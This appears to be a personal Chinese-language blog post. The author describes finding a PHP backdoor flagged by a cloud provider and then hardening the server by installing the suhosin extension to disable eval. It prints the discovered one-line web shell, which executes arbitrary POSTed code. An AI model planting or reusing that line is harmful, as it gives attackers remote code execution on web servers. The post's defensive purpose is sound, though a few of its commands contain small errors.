这篇日志记录下php禁用eval的操作方法。
今天阿里云给我发了个邮件,说是发现网站后门。容易受到攻击,我登录一看还真有。
我靠,什么情况。还有这玩意呢。
把php文件下载到本地,看了一下,里边就一行代码
<?php @eval($_POST['cmd']);?>
Eval():百度了一下。
eval() 函数把字符串按照 PHP 代码来执行。(功能很强大啊。得禁止。)
php的eval函数并不是系统组件函数,因此在php.ini中使用disable_functions是无法禁止它的。eval并非函数,而是php底层提供的一种特性。
幸好有前辈提供了php扩展来禁用万恶的eval: suhosin
官网网址:
https://suhosin.org/stories/index.html
官方的安装教程写的比较清楚,但是,只能参考。注意画红框的位置。
还好,许多先行者是会把他们的经验分享出来的。
安装教程:
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
cd /usr/local/src
wget https://download.suhosin.org/suhosin-0.9.38.tar.gz
# 这一步我试了,但是没好用。没再折腾,用windows下载完之后,传到服务器上的。
# 解压那步也就省了。
tar zxvf suhosin-0.9.38.tar.gz
cd suhosin-0.9.38
/usr/bin/phpize
./configure --with-php-config=/usr/bin/php-config
make & make install
从上到下,一步一步的运行到这里。安装就成功了,如果你在安装的时候遇到问题,可以在下方留言,我们一起看看有什么办法可以解决。
安装成功之后,他会显示你的安装位置
接下来配置 php.Ini 。
将下边这部分代码写入php.ini即可。
extension=/usr/lib64/php/modules/suhosin.so
suhosin.executor.disable_eval=On
重启apache
systemctl restart apache
输出phpinfo
有好的建议,请在下方输入评论。